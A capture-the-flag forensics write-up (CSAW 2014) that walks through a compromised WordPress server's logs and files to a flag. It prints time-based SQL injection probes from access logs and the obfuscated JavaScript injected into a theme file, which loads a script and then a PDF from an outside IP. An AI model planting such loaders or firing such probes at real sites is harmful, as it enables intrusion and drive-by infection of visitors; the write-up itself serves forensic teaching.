Posted on by and filed under CSAW 2014.

I think forensics challenges are generally horrible no fun zones, but Fluffy No More is actually a fun little scavenger hunt through a filesystem. @brad_anton gives us a tarball of the relevant parts of a compromised webserver – a MySQL database dump, /var/log/ , /var/www/ , and all of /etc/.

Co-credit for this challenge goes to Alex Lynch and Kirk Elifson (@kelifson)!

Upon cursory inspection, we find that we have a comprised WordPress site:

fluffy-var-www

Looking through /var/log/apache2/access.log , we find Python and WPScan making a mess in the logs from a source IP of 192.168.127.137:

192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=sleep%287%29%23 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=1+or+sleep%287%29%23 HTTP/1.1" 301 422 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%22+or+sleep%287%29%23 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%27+or+sleep%287%29%23 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%22+or+sleep%287%29%3D%22 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%27+or+sleep%287%29%3D%27 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=1%29+or+sleep%287%29%23 HTTP/1.1" 301 422 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%22%29+or+sleep%287%29%3D%22 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%27%29+or+sleep%287%29%3D%27 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=1%29%29+or+sleep%287%29%23 HTTP/1.1" 301 422 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%22%29%29+or+sleep%287%29%3D%22 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:14:41:08 +0000] "GET /?page_id=%27%29%29+or+sleep%287%29%3D%27 HTTP/1.1" 200 2852 "-" "Python-httplib2/0.7.4 (gzip)"
192.168.127.137 - - [16/Sep/2014:20:54:26 +0000] "GET /wp-content/plugins/limit-login-attempts/ HTTP/1.1" 404 493 "http://blog.eyeheartfluffybunnies.com/" "WPScan v2.4.1 (http://wpscan.org)"
192.168.127.137 - - [16/Sep/2014:20:54:26 +0000] "GET /wp-content/plugins/bluetrait-event-viewer/ HTTP/1.1" 404 495 "http://blog.eyeheartfluffybunnies.com/" "WPScan v2.4.1 (http://wpscan.org)"
192.168.127.137 - - [16/Sep/2014:20:54:26 +0000] "POST /wp-login.php HTTP/1.1" 200 4296 "http://blog.eyeheartfluffybunnies.com/" "WPScan v2.4.1 (http://wpscan.org)"

With the goal of not sifting through logs forever, let’s assume the server was rooted. We checked /var/log/auth.log  to find a suspicious modification:

Sep 17 19:20:09 ubuntu sudo:   ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
Sep 17 19:20:09 ubuntu sudo: pam_unix(sudo:session): session opened for user root by ubuntu(uid=0)
Sep 17 19:20:22 ubuntu sudo: pam_unix(sudo:session): session closed for user root

After jsbeautifying /var/www/html/wp-content/themes/twentythirteen/js/html5.js , we find a suspicious little snippet:

var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
    c += f[i].length.toString();
}
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
    if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
        f += String.fromCharCode(46);
        w++;
    }
    f += c[i];
}
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");

Replace document.write with console.log, slap it all in your favorite browser’s Javascript console, and out comes: <script src=’http://128.238.66.100/analytics.js’></script>

Download that, beautify it, and you find this wonderful piece of obfuscated code:

var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);

which is actually

window.open("http://128.238.66.100/announcement.pdf", "_self")

We downloaded that, opened it for a laugh, and then I opened it in Notepad++ to find another PDF inside the PDF.

8 0 obj
<< /Length 212
/Type /EmbeddedFile
/Filter /FlateDecode
/Params << /Size 495
/Checksum <7f0104826bde58b80218635f639b50a9> >>
/Subtype /application#2Fpdf >>
stream
[stuff]

Open announcement.pdf  in the random tool of the day, PDF Stream Dumper, to find some more JavaScript:

fluffy-pdf-js

Paste that string in a web console, and we get:

“YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :) key{Those Fluffy Bunnies Make Tummy Bumpy}”